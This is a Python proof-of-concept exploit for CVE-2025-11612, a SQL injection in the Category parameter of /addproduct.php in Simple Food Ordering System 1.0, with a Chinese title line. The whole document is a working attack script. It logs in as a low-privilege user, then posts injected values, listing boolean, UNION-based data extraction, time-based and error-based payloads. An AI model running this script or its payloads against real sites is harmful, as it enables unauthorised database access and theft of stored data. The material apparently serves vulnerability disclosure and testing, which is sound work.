CVE-2025-11612：Simple Food Ordering System SQL注入漏洞

# CVE-2025-11612 SQL Injection PoC # Target: code-projects Simple Food Ordering System 1.0 # Vulnerable file: /addproduct.php # Vulnerable parameter: Category import requests # Target configuration TARGET_URL = "http://target-site.com" LOGIN_URL = f"{TARGET_URL}/login.php" ADD_PRODUCT_URL = f"{TARGET_URL}/addproduct.php" # Attacker credentials (low privilege account required) USERNAME = "test_user" PASSWORD = "test_password" def exploit_sqli(): # Step 1: Login to obtain session session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } session.post(LOGIN_URL, data=login_data) # Step 2: Craft SQL injection payload for Category parameter # Example payloads for different SQL injection techniques: # Boolean-based blind SQL injection sqli_payload = "1' OR '1'='1" # UNION-based SQL injection to extract data # sqli_payload = "1' UNION SELECT 1,user(),database(),version(),5,6,7-- -" # Time-based blind SQL injection # sqli_payload = "1' AND SLEEP(5)-- -" # Error-based SQL injection # sqli_payload = "1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -" # Step 3: Send malicious request with injected Category parameter payload_data = { "Category": sqli_payload, "product_name": "Test Product", "price": "10.00", "description": "Test Description" } response = session.post(ADD_PRODUCT_URL, data=payload_data) # Step 4: Analyze response for SQL injection indicators if "error" in response.text.lower() or "sql" in response.text.lower(): print("[+] SQL Injection vulnerability confirmed!") print(f"[+] Response length: {len(response.text)}") return True else: print("[-] No SQL injection detected") return False if __name__ == "__main__": exploit_sqli()